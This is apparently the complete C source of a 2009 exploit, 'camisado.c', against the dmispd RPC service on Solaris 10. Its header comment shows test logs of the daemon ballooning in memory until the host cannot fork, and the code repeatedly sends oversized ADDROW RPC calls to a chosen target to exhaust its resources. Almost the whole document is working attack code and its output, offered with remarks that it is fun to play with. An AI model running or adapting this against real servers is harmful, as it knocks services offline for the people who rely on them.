/*
camisado.c
AKA
Sun Solaris 10 RPC dmispd Remote Resource Consumption Exploit
Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.24.2009
***************************************************************************************************************
Another long night in ONC RPC fuzzing land...
# uname -a
SunOS unknown 5.10 Generic_139555-08 sun4u sparc SUNW,Ultra-5_10
# svcadm restart dmi
# date;sh stat.sh;date
Thursday, September 24, 2009 1:47:22 AM EDT
18651 root 3584K 2080K sleep 59 0 0:00:00 0.1% dmispd/1
18651 root 1047M 50M run 9 0 0:00:00 2.8% dmispd/1
18651 root 1047M 132M run 0 0 0:00:01 7.2% dmispd/1
18651 root 1047M 212M run 0 0 0:00:02 11% dmispd/1
18651 root 1047M 292M run 50 0 0:00:03 15% dmispd/1
18651 root 1047M 375M run 40 0 0:00:04 19% dmispd/1
18651 root 1047M 455M run 30 0 0:00:05 23% dmispd/1
18651 root 1047M 525M run 40 0 0:00:06 26% dmispd/1
18651 root 1047M 527M run 45 0 0:00:06 25% dmispd/1
18651 root 1047M 531M run 52 0 0:00:06 25% dmispd/1
18651 root 1047M 543M run 31 0 0:00:07 26% dmispd/1
18651 root 1047M 550M run 51 0 0:00:07 26% dmispd/1
18651 root 1047M 551M run 42 0 0:00:07 25% dmispd/1
18651 root 1047M 552M sleep 60 0 0:00:07 25% dmispd/1
18651 root 1047M 553M sleep 60 0 0:00:08 25% dmispd/1
18651 root 1047M 552M run 43 0 0:00:08 24% dmispd/1
18651 root 1047M 551M sleep 59 0 0:00:17 14% dmispd/1
18651 root 1047M 545M sleep 59 0 0:00:17 13% dmispd/1
^CThursday, September 24, 2009 1:48:47 AM EDT
#
And also...
# while true;do ps -AZfl | grep dmispd;sleep 1;done
0 S global root 19477 1 0 40 20 ? 448 ? 13:25:10 ? 0:00 /usr/lib/dmi/dmispd
0 S global root 19479 17588 0 40 20 ? 208 ? 13:35:27 pts/3 0:00 grep dmispd
0 R global root 19477 1 4 89 20 ? 134073 13:25:10 ? 0:01 /usr/lib/dmi/dmispd
0 R global root 19477 1 8 89 20 ? 134073 13:25:10 ? 0:02 /usr/lib/dmi/dmispd
0 R global root 19477 1 12 99 20 ? 134073 13:25:10 ? 0:03 /usr/lib/dmi/dmispd
0 R global root 19477 1 16 99 20 ? 134073 13:25:10 ? 0:04 /usr/lib/dmi/dmispd
0 R global root 19477 1 20 99 20 ? 134073 13:25:10 ? 0:05 /usr/lib/dmi/dmispd
0 R global root 19477 1 24 59 20 ? 134073 13:25:10 ? 0:06 /usr/lib/dmi/dmispd
0 R global root 19497 17588 0 44 20 ? 206 13:35:34 pts/3 0:00 grep dmispd
bash: fork: Resource temporarily unavailable
#
linux@ubuntu:~$ ./camisado
Sun Solaris 10 RPC dmispd Remote Resource Consumption Exploit
Usage: ./camisado <target>
linux@ubuntu:~$ ./camisado 192.168.0.236
Sun Solaris 10 RPC dmispd Remote Resource Consumption Exploit
Consuming Resources @ 192.168.0.236 [P:300598 V:1 F:523]...
--> #1
rpc: RPC: Timed out
--> #2
rpc: RPC: Timed out
--> #3
rpc: RPC: Timed out
--> #4
rpc: RPC: Timed out
--> #5
rpc: RPC: Timed out
--> #6
rpc: RPC: Timed out
--> #7
rpc: RPC: Timed out
Finished. Now your sun server may recover :)
linux@ubuntu:~$
As far as I know, the RPC service "dmispd" is enabled by default on Solaris 10 (SPARC tested). It should render
the server unuseable for ~1-2 minutes. I'm not estatic about that part either. Fun to play with if nothing else.
And, If someone is interested in auditing RPC, this could be a good example to learn from. Learning isn't lame ;)
***************************************************************************************************************
camisado.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <errno.h>
#define PROG_NUM 300598
#define PROG_VER 1
#define DMIPROC_ADDROW 523
#define SIZE 100
#define LOOP 7
int main(int argc, char *argv[])
{
char b[SIZE], *buf, *target = argv[1];
int i, usock = RPC_ANYSOCK;
struct hostent *hp;
struct sockaddr_in us;
struct timeval tm={10, 0};
CLIENT *cli;
enum clnt_stat clnt_stat;
if(argc < 2)
{
printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n");
printf("Usage: %s <target>\n\n", argv[0]);
return 0;
}
printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n");
if((hp = gethostbyname(target)) == NULL)
{
perror("gethostbyname");
exit(-1);
}
memcpy(&us.sin_addr.s_addr, hp->h_addr, 4);
us.sin_family = AF_INET;
us.sin_port = 0;
if((cli = clntudp_create(&us, PROG_NUM, PROG_VER, tm, &usock)) == (CLIENT *)NULL)
{
clnt_pcreateerror("clntudp_create");
exit(-1);
}
cli->cl_auth = authunix_create_default();
memset(b, 'A', sizeof(b));
buf = b;
printf("\nConsuming Resources @ %s [P:%d V:%d F:%d]...\n\n", target, PROG_NUM, PROG_VER, DMIPROC_ADDROW);
for(i = 0; i < LOOP; i++)
{
printf("--> #%d\n", i+1);
clnt_stat = clnt_call(cli, DMIPROC_ADDROW, (xdrproc_t)xdr_wrapstring, (char *)&buf, (xdrproc_t)xdr_wrapstring, (char *)&buf, tm);
if(clnt_stat != RPC_SUCCESS) clnt_perror(cli, "rpc");
}
printf("\nFinished. Now your sun server may recover :)\n\n"); // restart dmi services to try again
auth_destroy(cli->cl_auth);
clnt_destroy(cli);
}
